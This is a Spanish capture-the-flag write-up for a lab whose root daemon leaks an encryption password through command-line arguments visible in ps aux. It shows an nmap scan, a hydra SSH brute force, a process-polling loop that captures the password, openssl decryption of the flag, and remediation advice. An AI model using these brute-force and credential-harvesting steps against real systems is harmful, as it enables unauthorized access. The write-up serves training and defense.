# ghostlabs-antireversing — Writeup

## Descripción

**Dificultad**: ★★★★★☆☆☆ (alta, 5 pts)
**Categoría**: Análisis dinámico / Process monitoring / Criptografía
**Puerto**: 2222 (SSH)

Un sistema de "anti-reversing" cifra automáticamente la flag 5 minutos después de arrancar y rota la contraseña cada 2 minutos. El objetivo: recuperar la flag usando análisis dinámico antes de que sea demasiado tarde.

---

## Contexto — ¿Por qué los argumentos CLI son peligrosos?

Cuando un programa recibe una contraseña como argumento de línea de comandos, esa información queda registrada en `/proc/<PID>/cmdline` y es visible para todos los usuarios del sistema mediante `ps aux`:

```bash
# Ejemplo: mysql con contraseña en CLI
ps aux | grep mysql
→ mysql -u root -pmysecretpassword ...
#                 ^^^^^^^^^^^^^^^^ visible!

# Ejemplo: openssl con -k
ps aux | grep openssl
→ openssl enc -aes-256-cbc -k s3cr3tpass ...
#                            ^^^^^^^^^^^ visible!

# Ejemplo: sshpass
ps aux | grep sshpass
→ sshpass -p mypassword ssh user@host
#           ^^^^^^^^^^^ visible!
```

Cualquier usuario del sistema (sin privilegios) puede ver estas contraseñas con un simple `ps aux`. La alternativa segura: pasar secretos por **stdin**, **fichero** o **variable de entorno** (con precaución).

---

## Paso 1 — Reconocimiento de red

```bash
nmap -sV -p- --min-rate 3000 <LAB_IP>
```

```
PORT     STATE SERVICE VERSION
2222/tcp open  ssh     OpenSSH 7.9p1 Debian
```

Solo SSH. El sistema parece simple, pero hay procesos internos activos.

---

## Paso 2 — Enumeración SSH: banner pre-autenticación

```bash
ssh guest@<LAB_IP> -p 2222
```

```
GhostLabs Anti-Reversing System v3.0
Self-destruct protocol: ARMED

Contact: ghost (security researcher)
```

El banner revela: **`ghost`** y "Self-destruct protocol: ARMED" — esto no es decorativo.

---

## Paso 3 — Fuerza bruta SSH

```bash
hydra -l ghost -P /usr/share/wordlists/rockyou.txt ssh://<LAB_IP>:2222 -t 4
```

```
[2222][ssh] host: <LAB_IP>   login: ghost   password: monkey
```

---

## Paso 4 — Acceso inicial y análisis del sistema

```bash
ssh ghost@<LAB_IP> -p 2222
```

MOTD confirma la amenaza:
```
GhostLabs ARS v3.0 — Self-destruct protocol ARMED
All sensitive data will be automatically encrypted.
```

Exploramos el sistema:

```bash
cat ~/README.txt
```
```
El protocolo de autodestruccion esta armado y activo.
Consulta /var/log/antireversing.log para monitorizar el estado del sistema.
```

```bash
ls /tmp/
```
Dependiendo del momento del acceso:
- Si han pasado **menos de 5 min**: `flag.txt` — **¡léelo inmediatamente!**
- Si han pasado **más de 5 min**: `flag.enc` — necesitamos la contraseña

```bash
cat /var/log/antireversing.log
```
```
[00:00:01] Daemon iniciado. El protocolo de autodestruccion comenzara en 5 minutos.
[00:05:01] Iniciando protocolo de cifrado de seguridad...
[00:05:06] Cifrado completado. Archivo original eliminado de forma segura.
[00:05:06] Sistema de rotacion de claves activado (intervalo: 120s).
[00:07:06] Iniciando rotacion de clave...
[00:07:12] Rotacion completada. Nueva clave activa.
```

El log nos da la cronología exacta. Vemos que la rotación ocurre cada ~2 minutos.

```bash
ps aux
```
```
root    1  /bin/bash /start.sh
root   12  /usr/sbin/sshd -D
root   45  /bin/bash /usr/local/bin/antireversing.sh
```

El daemon `antireversing.sh` corre como root. Lo inspeccionamos:

---

## Paso 5 — Análisis estático de los scripts

```bash
cat /usr/local/bin/antireversing.sh
```

El daemon:
1. Espera 5 minutos
2. Genera una contraseña aleatoria con `openssl rand -hex 8`
3. Llama a `/usr/local/bin/do_encrypt.sh "$PASS" ...`
4. Elimina el original
5. Cada 2 min: descifra con clave antigua, re-cifra con nueva usando el mismo wrapper

```bash
cat /usr/local/bin/do_encrypt.sh
```

```bash
#!/bin/bash
KEY="$1"        ← CONTRASEÑA COMO ARGUMENTO
INPUT="$2"
OUTPUT="$3"
DELAY=5

sleep "$DELAY"  ← SE QUEDA VIVO 5 SEGUNDOS
openssl enc -aes-256-cbc -k "$KEY" -pbkdf2 \
    -in "$INPUT" -out "$OUTPUT" 2>/dev/null
```

**El bug**: `KEY="$1"` recibe la contraseña como argumento posicional. Mientras el proceso esté vivo (5 segundos), cualquier usuario puede ver la contraseña en `ps aux`.

---

## Paso 6 — Path A: flag.txt todavía existe (acceso en < 5 min)

Si accediste rápido y `/tmp/flag.txt` aún existe:

```bash
cat /tmp/flag.txt
```

```
GhostLabs{4nt1_r3v3rs1ng_f41l3d}
```

Válido, pero el verdadero aprendizaje viene del Path B.

---

## Paso 7 — Path B: análisis dinámico con ps aux

El daemon llama a `do_encrypt.sh` con la contraseña como argumento cada 2 minutos. Configuramos un monitor:

```bash
while true; do
    ps aux | grep -v grep | grep do_encrypt
    sleep 0.1
done
```

O con `watch` (refresco cada 100ms):

```bash
watch -n 0.1 "ps aux | grep do_encrypt | grep -v grep"
```

Esperamos el próximo ciclo de rotación. Cuando ocurre, vemos:

```
root 1234 0.5 0.0 2316 1012 ?  S  00:09:06 /bin/bash /usr/local/bin/do_encrypt.sh
     a1b2c3d4e5f6a7b8 /tmp/flag.dec /tmp/flag.enc.tmp
```

**Contraseña capturada**: `a1b2c3d4e5f6a7b8`

El proceso permanece visible **5 segundos**. Tenemos tiempo suficiente para copiarlo.

---

## Paso 8 — Descifrado de la flag

Con la contraseña capturada:

```bash
openssl enc -d -aes-256-cbc -k a1b2c3d4e5f6a7b8 -pbkdf2 -in /tmp/flag.enc
```

```
GhostLabs{4nt1_r3v3rs1ng_f41l3d}
```

**Flag obtenida**: `GhostLabs{4nt1_r3v3rs1ng_f41l3d}`

> **Nota**: hay una ventana de 2 minutos entre rotaciones. Si el descifrado falla (contraseña expirada por una nueva rotación), simplemente espera el siguiente ciclo y captura la nueva contraseña.

---

## ¿Por qué funciona?

| Elemento | Descripción |
|----------|-------------|
| **`KEY="$1"`** | La contraseña se recibe como argumento posicional del script |
| **`sleep 5`** | El wrapper permanece en memoria 5 segundos antes de cifrar |
| **`ps aux`** | Muestra los argumentos de TODOS los procesos para cualquier usuario |
| **`/proc/PID/cmdline`** | También accesible: `cat /proc/$(pgrep do_encrypt)/cmdline \| tr '\0' ' '` |

### Comparación: args visibles vs. alternativas seguras

| Método | ¿Visible en ps aux? | Ejemplo |
|--------|--------------------|---------|
| `-k $PASS` (CLI) | ✅ SÍ — vulnerable | `openssl enc -k mysecret` |
| `-pass file:/path` | ❌ NO — seguro | `openssl enc -pass file:/tmp/keyfile` |
| `-pass stdin` | ❌ NO — seguro | `echo $PASS \| openssl enc -pass stdin` |
| Variable de entorno | ⚠️ Depende | `export MYPASS=...` (visible en /proc) |

---

## Herramienta alternativa: inotifywait

Si prefieres monitorizar la creación de archivos en lugar de `ps aux`:

```bash
inotifywait -m /tmp -e create -e close_write --format '%w%f' \
    | while read FILE; do
        echo "[+] Fichero: $FILE"
        cat "$FILE" 2>/dev/null
    done
```

Monitoriza cualquier fichero que aparezca en `/tmp/` y muestra su contenido.

---

## Remediación

```bash
# VULNERABLE: contraseña visible en ps aux
openssl enc -aes-256-cbc -k "$PASS" -pbkdf2 -in input -out output

# SEGURO opción 1: escribir clave a fichero temporal con permisos restrictivos
KEYFILE=$(mktemp)
chmod 600 "$KEYFILE"
echo "$PASS" > "$KEYFILE"
openssl enc -aes-256-cbc -pass "file:$KEYFILE" -pbkdf2 -in input -out output
rm -f "$KEYFILE"

# SEGURO opción 2: pasar por stdin
echo "$PASS" | openssl enc -aes-256-cbc -pass stdin -pbkdf2 -in input -out output
```

---

## Herramientas utilizadas

| Herramienta | Uso |
|-------------|-----|
| `nmap` | Descubrimiento del puerto SSH |
| `ssh` | Banner pre-autenticación + acceso |
| `hydra` | Fuerza bruta SSH con rockyou.txt |
| `ps aux` | Monitorización de procesos en tiempo real |
| `watch` | Refresco periódico de ps aux |
| `openssl` | Descifrado AES-256-CBC con contraseña interceptada |
| `inotifywait` | Monitorización de eventos de ficheros (método alternativo) |
